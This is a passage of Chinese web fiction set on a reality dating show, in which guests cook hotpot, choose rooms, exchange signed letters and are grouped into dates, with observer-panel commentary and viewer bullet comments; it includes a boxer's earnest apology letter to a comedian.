在超市简单地买了火锅底料、肉类和菜类,倪品和赵辛平推着购物车,慢悠悠地在乳制品区晃荡。赵辛平是做房地产的,倪品有意向在岳麓区买房呢,正好对口了,他知道很多行情。
两人看见蒋听,他正在认真地挑选脱脂燕麦奶,则王醒背着手在一旁看着,像老大爷一样,问起徐席去哪儿了,“呃,她去挑选煮火锅的炉子和锅,嫌我太烦了,让我来找其他人。”
“哈哈哈,嫌你太烦了。”倪品重复一遍,笑了起来,“你是不是说什么话惹她生气了?”
“我也没说什么啊。”王醒嘟囔。
徐席是做事效率最高的,要来采买东西,她真的就把它当作任务,所以这一车人比另外一车回到小屋早半个小时。另一车嘉宾准备的是海鲜炒饭,这样的话主食也有了。所有人都在岛台前显然太拥挤了,于是就留下会做饭的王醒和李可颜,还有倪品和周迟昼帮着处理食材。
倪品有点小八卦,凑到王醒旁边:“厨子厨子,你到底和徐席说了什么,她让你别烦她?”
厨子王醒说:“我就问她,接不接受年龄比她小十岁的,她说她没感觉,就把我撂下了。”
“……”倪品说,“完全悍匪。”
这才是录制的第一天呢,就有人完全单箭头了,啊,也不一定,或许是比较轻佻的性格呢?倪品还不能从第一眼就对谁下定论,别人也是一样。在这层被布置得温馨而宽敞的客厅里,所有年轻人都是一样,脸上洋溢着尴尬的友好,相互观察,相互探讨,欢声笑语时常发生。
“我来吧。”周迟昼接过了她手中的刀,温和地说,“这个白萝卜有点硬,切起来吃力。”
指尖触碰,湿漉漉的水痕划过去,倪品抬头看他,视线短暂而好奇地停留在他隽秀的脸上。这一幕也让观察室里此起彼伏的起哄。周诠感慨道:“哎呀,男帅女美,太赏心悦目啦!”
梁琼绿:“我真的觉得厨房最容易产生火花了,因为烹饪真的是一件很家常的事,这就意味着绝大多数时候,你都是一个人完成的。和别人完成的话,就有种搭伙过日子的感觉啊。”
建春颔首:“等于一种亲密关系的越级了。”
梁琼绿又朝谈茗挤眉弄眼:“对你的老搭档点评两句啊,遇到难回答的问题又不说话了。”
谈茗:“这才刚开始呢,能有什么眉目?”
岛台面向餐桌和半边的休息区,剩下的嘉宾,有的在上面的楼层,有的在餐桌边布置餐具,布置餐具的是柳之琳和蒋听。柳之琳和蒋听说了什么,听不清,只知道他认真地点了点头。
倪品瞥见,很快把余光收了回来。
9. 春风沉醉的夜晚(9)
“饭煮好了,快来吃吧。”周迟昼说。
他把最后一道冻豆腐端出来,随后,很自然地坐在倪品旁边,问:“要麻酱碟还是油碟?”
【啊哇哇,主动出击啦!我们小周真的对倪品有点意思啊啊啊,感觉一直在照顾她呢!】
【谁懂这是我押宝的第一对,感觉两个人相处起来超级舒服,赶紧快进到约会环节吧!】
【NoNoNo!本人以八年资深恋综资历来担保,这种一开始撒糖的往往走不到很后面!】
【我不信!呜呜呜我就要嗑!】
开饭了,大家都围过来,随意地落座。这时候就没有那么多的讲究了,女生男生都混着坐。倪品对面是蒋听和柳之琳,旁边是周迟昼,周迟昼的旁边是李可颜还有张月,两个女生变得要好起来,牵着手,笑嘻嘻说悄悄话。徐席挨着柳之琳和王醒,但她很显然不想搭理后者。
“话说,”刘观涧说,“咱们还没分配宿舍呢,行李都堆在门口呢,怎么也得收拾一下。”
倪品:“应该吃完饭会分配吧,二楼三楼那么多房间,感觉到时候会做竞技游戏争名额。”
“千万别是体育竞技类!”张月哭丧着脸,“我运动神经非常不发达,左脚绊右脚这种!”
“那正好有一个人的运动神经特别发达!”柳之琳指了指身边的人,“偶像,说句话!!”
【哈哈,这一对的互动好有爱哦!】
【好喜欢柳柳的长相,明明是御姐但是说话萌萌的,而且身材真好呜呜呜,两人很合适!】
【但是我感觉蒋听从头到尾都没有表示啊,两个人话都没讲两句,除了柳柳找他要签名。】
【哎呀,这对蒋听而言已经是一大进步了!要知道他之前被采访的时候真就像个木头一样,没想到还是会好好说话的嘛!而且每次镜头扫到蒋听,真的很吃这种颜,糙汉文的感觉!】
蒋听说:“我的手脚协调能力其实也不算很强,只是反应力快一点。我尽量让着大家吧。”
“不,没必要没必要,”周迟昼说,“大家都尽力,总是一味谦让的话,反而没意思了。”
这话得到了更多的附和声。
火锅咕噜咕噜地冒着热气,有辣锅和不辣锅,倪品吃的是辣的,她一般不配蘸料。周迟昼温柔地给她斟水,问她会不会觉得太辣了,不会,她说。对面的蒋听吃的是清汤,而且还备了一碗清水用来涮食材,他在饮食上控制得很严苛,“教练太烦了,吃咸一点能说半天。”
倪品不由得说:“陈教练才不是那种人!他知道你上节目就诋毁他,他就会找你的麻烦!”
柳之琳左看看,右看看:“你们这么熟啊。”
倪品说:“我给他和他教练做过访谈,就认识了一下,其实到现在为止也没见过几次面。”
“三次。”蒋听说,“就跨年那一晚,如果不算视频的话是三次,算了的话,就是四次。”
“你记性挺好。”倪品转而对柳之琳说,“你没刷到我采访蒋听的切片吗?之前挺火的。”
“啊,我很少刷到这些。”柳之琳笑了笑,“我只能刷到一些运动赛事,还有穿搭类的。”
于是这一餐,倪品一直在和柳之琳聊天,蒋听和周迟昼都插不进什么话。另一边,徐席已经吃完提前离席了,刘观涧隔着两个座位频频望向柳之琳,这份微表情也被镜头记录了下来。
吃完饭,一楼的电子屏幕上出现了新任务。
「一顿忙碌的晚餐,格外充实,月色也悄悄地爬上山头。春日让人困倦,也到了应该休息的时候,接下来,请男嘉宾们参与争夺房间名额的小游戏,并且选择一个女嘉宾共享名次。」
“啊,意思是男生获得名次,就可以邀请一个女生,和他一起选!”
“是什么游戏啊?拼脑力还是拼体力?”
于此同时,男嘉宾的屏幕上弹出节目软件的小游戏,原来是数独。一时间,客厅陷入寂静,每个男生都在争分夺秒地解决数字难题。突然,王醒站起来,一脸轻松地说:“做完了。”
“哇!这么快!”李可颜瞪大眼睛。
倪品说:“毕竟是做大厂游戏的程序员啊,程序员哪有不和数字打交道的?”
很快,男生们都前后完成了游戏,周迟昼是第二,赵辛平第三,刘观涧第四,蒋听是垫底。
对此他表示很抱歉:“很早就不读书了,差点连数独的规则都记不清,没事,你们选吧。”
王醒先选,他立刻朝徐席伸出手:
“走吧,姐姐,一起去选房间。”
这话引起了观察室的一阵尖叫。
韩峥说:“哎呀,这谁能扛得住啊。”
王江青一直在鼓掌:“唉,还是现在的年轻人会啊,虽然徐席看起来不搭理他,但多少还是会被打动的吧。其他男生看到王醒这么明显的追求信号,恐怕也要掂量要不要和他竞争。”
“是的是的,而且徐席这种,一看就是高冷范多金美女啊,市场上都抢手,上综艺更是。”
谈茗说:“我反而觉得一开始就这么追人,会给徐席很大的压迫感,她说不定会厌恶呢。”
梁琼绿意味深长:“是有这个可能,越是热烈地喜欢,越容易给人造成负担,你说是吧?”
谈茗察觉到她话里有话,没说什么,只是淡淡地绕开,让大伙儿猜测周迟昼会选择哪一位。
建春说:“我觉得是倪品。”
周诠说:“我也跟倪品。”
大家都觉得是倪品。
果然,周迟昼朝倪品道:“先去选房间吧,告诉我你的行李箱是哪一个,我帮你搬上去。”
“太棒了!”王江青说,“gentleman!”
弹幕也是清一色的【磕到了】。
女生宿舍有两个双人房,一个单人房,倪品想到徐席应该会选单人间,她看起来就是不愿意被其他人打扰的样子,于是她选了一个双人间,没想到一进去就看到徐席在整理她的行李。
【哇!竟然是和冰山姐姐同居!倪品好幸福!】
【其实我觉得徐席应该挺喜欢倪品的,因为当时倪品说要做她副驾的时候,她偷偷笑了。】
【什么,竟然笑了吗?我要倒回去看!】
【嘴角上升了两个像素点哈哈哈。】
“你好,”倪品说,“没打扰吧?”
徐席说没有,问她的行李怎么没拿上来。敲门声在下一秒响起,是周迟昼把行李搬上来了,靠着门框说自己选了单人间,看起来有点歉意:“不知道别的男生需不需要,我也没问。”
他顿了顿,声音压低了些。
“因为看到单人间离你挺近的。”
倪品的脸也热了起来,她大方地笑了笑,“嗯”了一声。回到房间里,和徐席整理好行李,然后大家各自串门认识房号。倪品和徐席在201,周迟昼在单间202,蒋听和王醒住在203。
这就是二层的情况,三层是李可颜和张月一间,柳之琳单独住。对此她有些难过,但张月和李可颜都不想和彼此分开,徐席平静地听着,没有想和柳之琳换的打算,倪品想了想,说:
“要不我和你换吧,我住单间。”
“啊……”柳之琳摇摇头,“算了算了,我经常来串门就可以啦,嘻嘻,我要来找你玩!”
“随时欢迎。”倪品捏了捏她的脸。
【啊,说实话,徐席为什么不和柳之琳换呢?明明柳之琳看起来就不太喜欢一个人独处。】
【那姐姐就喜欢一个人独处了?你听她亲口说的是吧?再说柳之琳想要和倪品住一起,徐席姐姐就不想了吗?那我还看到倪品开门进来的时候,姐姐的嘴角又上升了两个像素点呢!】
【哈哈哈我们小品成团宠了。】
男生那边,其实蒋听和王醒都想要单间,王醒说自己的生活作息不太好,经常晚睡,怕会吵到室友,蒋听是因为早上会很早起来,怕打扰到别人。不过周迟昼不换,也就没有下文了。
“那你们两个必须同住啊,完全不必要换走,白天黑夜互相折磨,也是好事。”倪品说。
众人大笑起来。
整理好宿舍,大家又下到一楼的休息区,在宽阔柔软的沙发上聊天,加深彼此的印象,毕竟接下来也要在同一屋檐下相处一个月的。女嘉宾里还有柳之琳没有介绍自己的职业,她是一名专业的潜水指导,介绍时正好放映了个人短片,日光温柔的潜海,她和鱼类缠绵地共游。
“啊,太美了,我也想去!”李可颜感慨,“难怪之琳姐身材这么好,原来也是运动人!”
观察室里,也在讨论着柳之琳的职业。
“那她和蒋听真的很合适,”谈茗说,“都是从事体育相关的工作,应该会有共同话题。”
“对,目前看来确实他俩最合适。”
“我觉得不是,”梁琼绿总是思路清奇,“蒋听看起来就会和他职业内容完全不搭边的女生在一起。你们看,如果他想找从事运动行业的女生,这么多年他的情感经历就不会是零。”
韩峥被提醒,赶紧翻看手里的嘉宾资料:“对呢,蒋听没谈过恋爱,他是真的母胎单身!”
“唉,反正我一整个看到现在,只有周迟昼,柳之琳和王醒的箭头明确一点,其他的还真是云里雾里的。”王江青说,“不过我最好奇的是倪品,真想知道她对谁的好感更多一点。”
“你很快就知道了,”周诠笑了笑,拍了拍手,“来,让我们进入今晚最重要的环节——”
「春夜的信箱」
「每位嘉宾在每周五、周六、周天获得一封春日信纸,请选择你想寄信的对象,并且将信件投送到ta的信箱里,收到信的嘉宾可以回信,也可以寄给其他人。寄信顺序采取男女轮流的制度,本次为男生二十二点前寄出,女生二十三点收信并且回信,男生于零点查看回信。」
【也就是说男生先寄给女生,女生看过信件之后给男生回,然后男生再去收,是这样吧?】
【规则里还说信件要完全真实署名,我去我去,太刺激了吧,那不是谁寄给谁都知道了?】
梁琼绿说:“哇!那情感线不就一下子清晰起来了吗?谁对谁有意思,看寄信就知道了。”
“对。”周诠颔首,“同时,也请我们春日观察员进行答题,答题采取单人计分制,结束时分数最高的可以获得最丰盛的奖励,以此往下类推。来,现在就揭晓本季的第一个题目。”
「请选出你认为收信数最高的女生和男生」
梁琼绿:“那我还说啥了,直接单走一个倪品,我闺蜜必须是万人迷!男生我选周迟昼。”
谈茗问:“为什么男生选周迟昼?”
“你问韩峥老师,她肯
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定知道。”
韩峥被cue到,露出一个似笑非笑的表情,没有正面回答,反而问建春,“老师觉得呢?”
建春很认真:“因为周迟昼颜值最高。”
【哈哈哈,果然都是颜值至上主义!】
【原来不止我一个人觉得周迟昼帅,呜呜呜,真的好帅啊,完全混血感建模脸来的吧!】
观察员们纷纷下注,谈茗认为最受欢迎的女生是徐席,男生他也选了周迟昼。这样看下来,周迟昼是众望所归,所有人都认为他是男生里最受欢迎的。女生之中,倪品和徐席被提名,王江青和周诠选了柳之琳:“长相和性格都很好,而且刘观涧和蒋听可能都对她有意思。”
“请导播为我们揭晓答案。”周诠说。
大屏幕上立刻显示出所有嘉宾的收信数量。
倪品:3封
徐席:2封
张月:0封
柳之琳:0封
李可颜:0封
“诶!!”这完全出乎周诠的意料,“为什么啊,柳柳挺好的啊,竟然一封信也没收到?”
“倪品收到三封才很恐怖啊,”韩峥说,“我是猜出她会受欢迎,但没想到这么受欢迎。”
梁琼绿一副“正如我所言”的骄傲表情,和同样选了倪品的建春老师击掌,庆祝顺利得分。
“唉,看看男生这边的情况吧。”
周迟昼:3封
蒋听:1封
赵辛平:0封
刘观涧:0封
王醒:0封
立刻有人意识到:“这数量不对啊,应该有5封信才对,是不是统计错了?”
“不对,”谈茗说,“有女生没寄信。如果没有想寄的人,确实可以把信纸都留在手上。”
“啊?那会是哪个女生没寄信啊?”
建春说:“徐席。”
导播冰冷的电子音插入:“恭喜建春老师回答正确,没有寄出信件的女嘉宾是——徐席。”
“啊……”韩峥好失望,她还很好奇徐席会寄给谁呢,“不过也能理解,徐席看起来就是不会轻易做决定的人,虽然目前有王醒和另一个男生对她有好感,但是她不会那么快回复。”
建春说:“嗯,我也是这么想的。”
太好奇嘉宾们的信里究竟写了什么,毕竟窥私欲也是人生的一大欲望,镜头落在庭院里一片静谧的角落,路灯泼洒下昏黄的柔光,草木静谧,十个信箱坐落在一排,像是等人去打开。
倪品走到印有自己名字的信箱面前。
摄像头就藏在信箱里面,把她打开信箱时的惊讶记录得一清二楚,三封,都不知道应该先看哪个,不过信封上都有署名。第一封是周迟昼的,在她意料之内,打开,清秀锐利的字迹:
「我是你的忠实观众。」
【啊啊啊!好甜!我不行了我不行了!周迟昼承认吧,你也偷偷为我们小品女王着迷!】
【此男完全被迷得找不到北了……】
【难怪每次倪品讲笑话,他就那样笑着看她,她在闹,他在笑,这个周这么宠我们品品!】
倪品嘴角微微上扬,把信件原封不动地折起来。打开第二封,是赵辛平的,这个人她的印象并不深刻,她努力回想了一下,是在超市里一起推购物车的那位,她只和他简单聊了两句。
他在信上写着:
「很高兴遇见你。」
啊……可倪品对他完全没有印象,这真是……她犯难地扶着额头,走到写信的小亭边坐下,又拿出第三封信,信封上的名字让她一愣,是一个她怎么也意想不到的人,竟然是蒋听!
他怎么会写给她?
带着纳闷的心情,倪品拆开信封,又被吓了一跳,洋洋洒洒的一大段。信纸是很空,但大家都言简意赅,因为第一天见面也没什么好说的。这家伙疯了吗?他到底为什么要写这么多?
「写给:倪品
今天是参加录制的第一天,不知道写给谁,王醒说可以写给想说话但没能说上的女生,但我目前也没有特别想说话的女生。所以我想到你,有一件事是我很早就想和你说,但每次都没能说出口的。线上聊天的话,没那么郑重,但是年后也没见过面,我觉得写信应该很正式。
我想和你道一句歉。
之前在《Real Real Talk》访谈节目上,你提到了我的耳朵,当时其实有点觉得被冒犯到。因为在平常人看起来滑稽的饺子耳,实际上是每一个拳手都必须经历很多打击才能拥有的,我没有笑的原因,是觉得你在拿这个行业的苦难开玩笑,并且我耳朵也有旧伤,很长时间里有一些不好的情绪在。但是我后来在镜子前看自己的耳朵,总是不自觉想到你的那句玩笑。
我想到你那句玩笑话,渐渐的,回想起来的不是痛苦,而是当时大家都在笑的场景。我这才意识到,冒犯到我并不是你的本意,或者说,玩笑往往都包含着冒犯的性质在里面,是通过玩笑的形式把一些痛苦转化成能接受的快乐。所以我还想谢谢你,其实你解开了我的心结。
时间有限,王醒喊我一起去交信了,所以我写不了太多,也不知道能不能传达清楚我想表达的意思。你不用回信给我,以表达接受或拒绝我的道歉,信是宝贵机会,写给你想寄的人。
祝你在节目里收获多多!
蒋听,留。」
10. 春风沉醉的夜晚(10)
倪品捏着信纸,一句话也说不出来。
【我去这什么情况?啊?我怎么没看懂?】
【楼上去看前段时间很火的《Real Real Talk》第二季最后一期,是倪品采访蒋听的,十多分钟那里,倪品对蒋听开了个饺子耳的玩笑,当时还被网友疯狂二创,没想到还有后续。】
【这是可以直接在节目里说的吗?kkk蒋听怕不是不知道这封信也要被节目组播出来啊?】
【我感觉是,他要是知道的话就不会写了,你看他之前私底下都不敢向倪品道歉,怎么可能当着观众的面去给她道歉啊。他可能是真的不知道这封信会被播出来,属于是太单纯了。】
【但是真的很暖心啊,你们不觉得吗?本职场人真的狠狠共情,很多职场当中的矛盾其实就应该这样好好地说开啊,对大家都好。蒋听有一个优点就是他非常耿直啊,是就是,不是就不是,被冒犯到了就不会假惺惺地说没被冒犯到,意识到自己做错了也很干脆就道歉了。】
【是的是的,之前好多网友都说他没情商,没敢吱声,其实我觉得他只是性子直而已……】
观察室里。
观察员们也是一阵沉默,一时半会儿都不知道该说什么。
还是谈茗先开口了。
“都说开了也好。”他垂眸,十指交叠,斟酌了几秒钟,又说,“其实也不是什么大事。”
梁琼绿也挠头:“我还真没觉得这事需要道歉,倪品也不会在意吧,你们看,她读信的时候完全就是很惊讶,其次是尴尬。老实讲她之前也给我说过,她知道蒋听是什么性格的人。”
“但这么郑重其事的道歉,还怪感人的。”周诠说,“唉,这封信我感觉就不是关乎爱情,而是关于友情了。这其实也很好啊,节目上不一定能收获爱情,而友情往往是更长久的。”
建春:“我也认为友情价更高。”
“导播,我们继续往下看吧。”
倪品这边拿到三封信,小心翼翼地收起来,就和迎面走来的徐席遇上了。她戴着一副防蓝光的眼镜,夜风吹起西装的衣角,袖子是挽起来的,看起来随性而霸道,朝她微笑点了点头。
倪品留意到她没带信纸来。
“你不打算寄信啊?”
“嗯。”徐席说,“外面风大,回房再说。”
四月中旬,白天的气温二十多度,夜间就降到十几度,山上寒气更重。倪品回到小屋里面,王醒正在岛台上做明天的便当,两人视线交汇,他把倪品叫住,眨了眨狗狗眼:“品姐。”
【哈哈哈,品姐!王醒你喊谁都是姐!】
【小醒毕竟是嘉宾里面年纪最小的,刚毕业没两年呢,果然还是弟弟啊,弟弟好弟弟妙!】
“怎么了?”倪品走了过去。
“你知不知道……徐席姐姐寄给谁了呀?”
“嗯……”倪品回想了一番,“她没和我说呢,不过我隐约看见她在周迟昼的信箱前……”
“!!”王醒立刻紧张了起来。
“在周迟昼的信箱前走过去了,然后,就到刘观涧的信箱前面,她停了一会儿,然后……”
倪品讲得绘声绘色,王醒听得聚精会神,一颗心都揪了起来,生怕听到其他不愿意的答案。
“然后她又走过刘观涧的信箱。”
“姐!!”王醒要崩溃了,“你别吓唬我了行么?她到底给谁了啊?”
【哈哈哈哈倪品太坏了。】
【受不了了,我觉得这对也很有爱啊!】
“其实她没有寄信。”倪品说。
“啊——”王醒松了口气,这是个他能接受的答案。徐席没有寄给他,但也没有寄给别人,等同于他和大家还在同一起跑线呢。他对倪品说,“有你这句话,我晚上睡觉都舒坦了。”
“呵呵,那我早知道不说了。”
【倪品别逗小孩了,真的是。】
【诶,徐席姐姐回来了。】
门口的风铃被吹响,徐席轻手关上了门,从倪品和王醒面前路过,也目不斜视,回到二楼的房间里。倪品觉得和王醒也没什么好聊的了,这时候王醒又说:“我和蒋听一起递信的。”
“嗯,你知道他把信给我了?”
“哇!”王醒很意外,“你就这么说啦!我以为这种事都是大家心照不宣,闭口不谈呢!”
“有什么好闭口不谈的?这才第一天呢,寄个信不代表什么特殊的含义。”倪品从他的欲言又止里看出另外一层意思,赶忙抬手,“你可别!我不需要你助攻,我和蒋听真没什么!”
“嘿嘿,行行行,我是受之有愧啊!”
【笑死了,王醒是不是搁这儿找盟友呢?】
王醒继续回厨房做便当了,倪品径直上楼,撞见正打算去春夜信箱处的李可颜和张月,两人手挽着手,朝她问候一声就走了。倪品想了想,上了三楼,来到柳之琳的房间,敲了敲门。
“之琳,你在吗?”
“怎么啦?”柳之琳打开了房门。
“你去看信了吗?”
“还没有呢。”
“那等张月和李可颜回来,我们就去。”
柳之琳非常高兴,“嗯”了一声,又把倪品拉到床边坐下,“唉,我一个人住太无聊啦。”
倪品被她亲切地拉着手,“可你的工作看起来独立性很高啊,按理说你应该会习惯独处。”
“我只是……”柳之琳嘟了嘟嘴,“来到新环境,就有点紧张,而且你们都是双人间的。”
倪品还想安慰她呢,但柳之琳很快就缓和了情绪,换了个欢快的话题,“你是第一个去收信的吧?你收到了几封信呀?嘿嘿,这个可以问吗?但是我真觉得周迟昼会把信投给你呢!”
“嗯,”倪品没什么好掩瞒的,“他投给我了,我也回的是他的信。我目前拿到三封信。”
“哇!三封!”柳之琳算了算,“王醒肯定会投给徐席姐姐,还有……也许是蒋听呢……”
“……”倪品想了想,还是选择性地没有告诉她,蒋听把信投给自己这件事。反正只有今天这个特殊的情况,之后的日子里,他肯定会正常投给别人的,保不准这个人就是柳之琳呢?
两人抱着枕头聊了一会儿天,听到李可颜和张月回来的脚步声。“可以去啦。”她拉着倪品去信箱处,倪品问自己要不要回避,不用,柳之琳还很强硬地说,“我就要你陪着我看!”
【呜呜呜女孩子之间的友谊好甜啊……】
【谁懂这个小柳有倪品依赖症吧!】
倪品看着柳之琳打开信箱,里面却是空空的。她眼神中闪过一丝失落,随后又轻快的说:“这样也好,没人投给我我也不用回啦,我还有想寄信的人呢!”说罢在亭子里开始写信。
她投给了蒋听的信箱。
回到小屋,也快十二点了,零点一过就是男生们去收信了。倪品打了个哈欠,回房洗了澡,吹干了头发躺在床上拿平板看美剧。徐席要睡了,问她屏幕光会不会影响到她,她说不会。
“方便问你收到几封信吗?”徐席突然问。
“三封。”
“我这边收到两封。”
倪品愣了愣,这就意味着剩下的女生没有收到信。不知道怎么说,但也没必要说太多,徐席说今天只是第一天,虽然有点不均衡,但是她没有回信,男生没收到反馈也许不会再投她。
她还有点冷冰冰的,倪品想给王醒打助攻,都不知道该如何开口。徐席对谈恋爱的倾向似乎不是特别明显,也许她是慢热的类型,睡吧睡吧,倪品也关掉了平板,灰暗填满了整间房。
夜已深了。
男生们纷纷去收信,镜头扫过一张张年轻英俊的脸庞,花深静谧处,春风穿梭在这个夜晚。
观察室里。
“我发现可以推出来了。”建春说,“周迟昼收到三封信,柳之琳和徐席没有寄给他,所以寄给他的是倪品、李可颜和张月。”
“诶,建春老师反应太快了。”周诠说,“果然帅哥还是受欢迎啊,明明迟昼今天都没怎么和李可颜、张月说话,但是她们还是寄给他了,并且彼此不知道有好感的是同一个人吧?”
“啊哦。”谈茗耸肩,“有的看咯。”
王江青急不可耐:“快让我们看看写了什么!”
“别急,下面揭晓信件内容。”
倪品to周迟昼:
「感谢你今天的额外照顾,政律俏佳人~」
“天啊!”韩峥克制不住笑容,“果然倪品还是太会了,政律俏佳人,在夸周律很帅哦。”
梁琼绿:“周迟昼这不得高兴死了!”
果然,镜头转到周迟昼的脸上,男人将指骨抵在鼻尖,掩藏笑意,却不由自主流淌出轻笑。
【啊啊啊,妈妈爸爸我出生了……】
【我就这样磕了品粥,加大力度不要停啊!】
其他的信件内容:
李可颜to周迟昼:
「第一天认识,请多指教啦。」
张月to周迟昼:
「你侃侃而谈的样子很特别。」
柳之琳to蒋听:
「偶像,一起加油吧!」
韩峥感慨:“之琳对蒋听真的是完完全全的单箭头啊,感觉就和王醒、周迟昼一样明显。”
建春:“非常有魅力,当她勇敢的时候。”
周诠:“等等!男生寄出的信件还
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有一些没看完呢,我真想知道王醒会给徐席写些什么!”
谈茗颔首:“我也想看,感觉他很会整活呢。”
“好,那我们放一下男生的信件。”
刘观涧to徐席:
「车开得很稳健,人也是。」
谈茗:“话说刘观涧为什么会投给徐席呢?明明餐桌上他一直在看柳之琳啊,真是奇怪。”
“不知道,可能他想多接触一下吧。”
弹幕比观察室的反应强烈很多。
【姐姐车开得好要你说?真烦!】
【金融小登给我滚一边去,就你个宾利男还想碰我的徐席姐姐,滚滚滚!我磕的姐狗cp!】
【感觉刘观涧投给徐席完全是因为不服气吧,觉得自己被徐席压了一头,想征服她来的。】
【呵呵,同感。】
周诠:“那让我们看看王醒给徐席的信。”
【呜呜呜这是对嘞,王醒绝对会对这个小登降维打击的,我们年下小狗快发力啊快发力!】
镜头回放到徐席打开第二封信,看到早已预料到的名字,她面色平静地打开,简单的一句。
王醒to徐席:
「姐姐^^」
短短二字,完全让观察室和弹幕区沦陷了。
大家纷纷竖起大拇指:
“太会了,醒神。”
-
次日清晨。
倪品打了个哈欠,还没习惯在周日早得这么早。旁边的徐席早就去楼下的健身房做有氧了,她没有锻炼的雅兴,洗漱、化妆,去一楼的冰箱觅食。刘观涧正在餐厅里吃饭,朝她问好。
“要不要吃?”他说,“我多做了半份。”
“三明治吗?”倪品很高兴,“好耶。”
“这是我特意从家里搬过来的伊比利亚火腿,再搭配上布里奶酪和蜜瓜,口感很flaky。”
“还是个美食家。”她咧嘴,“我对这种白人饭了解的比较少,但是很好吃,谢谢款待。”
【哈哈哈,金融男本色,走两句掉个洋文。】
【话是这么说,但是刘观涧这种海归男的履历真的很不错啊,只能说上节目绰绰有余了。】
“没事,”刘观涧微笑,“倪小姐喜欢的话,我对西式厨艺很精通,有时间再做给你吃。”
【倪小姐……我绷不住了我这个笑点……】
倪品自己也绷不住:“咳咳,叫我小品就行!”
“好的,小品。”
“话说你起得好早啊,今天不是周日吗?”
“我平时都是这个点起来。早晨的盘山公路空气清新,适合散步,我还碰见蒋听在跑步。”
“啊?你们男生都起这么早啊?要不是今天节目组有安排,我还想回屋再睡个回笼觉呢。”
“你可以再去睡会儿,九点才喊集合。”
行,倪品又回去睡了一会儿,徐席从健身房回来洗澡的时候她才醒。九点一到,大家在一楼大厅集合,大屏幕出现了新的任务:请打开小程序进行测试,测试结果关乎今天约会安排。
“啊,今天就要安排约会了!”李可颜说。
赵辛平说:“我还以为是根据昨天的信件情况定的呢,没想到要做测试,这么草率的吗?”
「春天AB面:晴天或雨天,对于某些人来说是好天气,对于某些人来说则是烦恼,你所钟爱的A面,或许是某个人避之不及的B面,但亲爱的,想知道和ta的默契究竟有几分吗?」
点开小程序,是一个干净的选择界面。
「晴天or雨天」
「白天or黑夜」
张月恍然:“原来是根据自己喜欢的天气。”
「根据嘉宾们的相同选项进行双人或多人约会,落单嘉宾可以选择自由组队或留在小屋。」
该怎么选?
大家面面相觑。
倪品遵从了自己的内心,她喜欢狂风骤雨的夜晚,那能让她感到新奇的刺激和危机感,对于平稳的坦途,她也更倾向于充满挑战的险径。叮咚,叮咚,更多的人做完选择,答案揭晓。
选择「晴天白天」的嘉宾:
王醒 张月 刘观涧
选择「晴天夜晚」的嘉宾:
徐席
选择「雨天白天」的嘉宾:
柳之琳 赵辛平
选择「雨天黑夜」的嘉宾:
倪品 周迟昼 李可颜 蒋听
王醒、张月和刘观涧是三人约会。
柳之琳和赵辛平二人约会。
徐席落单了。
而——
倪品和周迟昼面面相觑。
四人约会??
11. 春风沉醉的夜晚(11)
【笑死了,这什么奇奇怪怪的组合啊!】
【倪品那组还能接受,王醒到底是什么鬼啊,呜呜呜难道就不能让他和徐席姐姐贴贴吗?】
【我觉得柳之琳和赵辛平也很尬啊,一个投给蒋听,一个投给倪品,唉算了我要跳过了。】
【我也要使用时间大法,感觉三人组和二人组都没什么好看的,直接给我跳到四人约会!】
与此同时,落单的徐席始终静静地抱着臂站在一旁。工作人员告诉她,落单者可以选择任意一队加入,在一片【快去找弟弟约会!】的催促中,徐席垂眸思索,淡淡地道:“算了。”
她选择留在小屋。
观察室一片嘘声,就连最沉稳的建春老师都抱怨:“实在是非常难,很复杂,徐席这人。”
“对啊,真搞不懂她在想什么,既然不想参与的话,何必上这个恋综呢?”梁琼绿托着腮,“感觉她还是有一点佛系的,就算没有搭理王醒的想法,和其他男嘉宾接触接触也行啊。”
建春说:“我有感觉,她是在用自己的方式去接触,只能说这个方式我们暂时看不明白。”
“对。”谈茗说,“有的人在人群中是谋定而后动的,我反而觉得徐席一点也不佛系,一旦决定了一个人,就会咬定了他,这种人往往会万般斟酌,但做好决定后就一点不会内耗。”
【哇,不愧是姐姐啊,慕强者狂喜。】
【对对对,那些说姐姐不主动的,不是姐姐矜持,只能说这些男的都没让姐姐看上而已!】
眼看徐席打算留在小屋,王醒的眼神中闪过一丝失落,又强打起精神,去和其他人商量约会的事宜。倪品将一切都看在眼底。周迟昼问她有没有什么想去的约会地点,问问组内的剩下两人吧。李可颜说都可以,随大家安排,蒋听说他不是本地人,不清楚有哪些好玩的地方。
“电玩城怎么样?”李可颜提议,“我们先去抓娃娃,然后去吃晚饭,饭后去玩卡丁车。”
“好啊好啊。”倪品说,“就这样。”
商量好了,四人组出发。周迟昼依旧是开车的那个,还没拧火,李可颜就自然地坐进副驾。在刻意慢放的剪辑下,周迟昼偏移了分毫的迟疑目光,倪品落在后座把手的指尖,还有——
看了看倪品,又看了看李可颜的蒋听。
【哦哦哦!开始了开始了!火药味十足的四人约会修罗场!这就是俺们土狗最想看的!】
【对哦!才发现李可颜第一天也把心动信投给周迟昼了,哇,感觉她的主动性还挺强的。】
【哈哈哈你们快看看蒋听,依旧神游。】
【神游哥是这样的,看看左边,又看看右边,拼劲全力思考仍然无法抵抗低情商诱惑。】
【神游哥昨晚写信的时候可精了,现在就在这里装傻子,赶紧帮你朋友倪品争取机会啊!】
【感觉神游哥是那种看不懂别人脸色的人。】
【把感觉去掉。】
蒋听也许是察觉到什么,但他毕竟察觉不到太多,他很有可能连倪品把信寄给谁都不知道。反正他就直愣愣地坐进后座,若有所思,又问身边的倪品:“车上是不是也有摄像头啊?”
“那不然呢?”倪品不假思索。
蒋听说:“哦,我没看到摄影师。”
“每个角落都有摄像头的。”
“嗯,现在看到了。”
短暂的冷场。
李可颜说:“话说我还不是很适应被跟拍呢,虽然职业要和摄像头打交道,但那是在有准备的情况下。其实我有点容貌焦虑,就像现在这样,不知道机位在哪,怼着脸拍会不自信。”
周迟昼说:“哦对,你的职业是平面模特。”
他又把话题抛给了倪品,“倪老师应该非常熟悉吧,毕竟每次演出都差不多是全程录像。”
“啊,那倒是,”倪品耸了耸肩,“我都是尽量放轻松吧,我早年演出的时候,就总是喜欢把观众当小动物,不知道你们学没学过《少年闰土》,那些偷偷去上厕所或者晚到场的观众就像瓜田里的猹,我拿语言的尖刀去调侃他们,这些人却反身一扭,从台底下逃过去了。”
“哈哈哈……”李可颜说,“少年倪品!”
周迟昼也忍俊不禁:“感觉又听了一场。”
【哈哈哈哈倪品就这样随地大小演,不知不觉又看完了一场,没交票钱真的是对不起了。】
【去了也要喊退票,这就是口碑!】
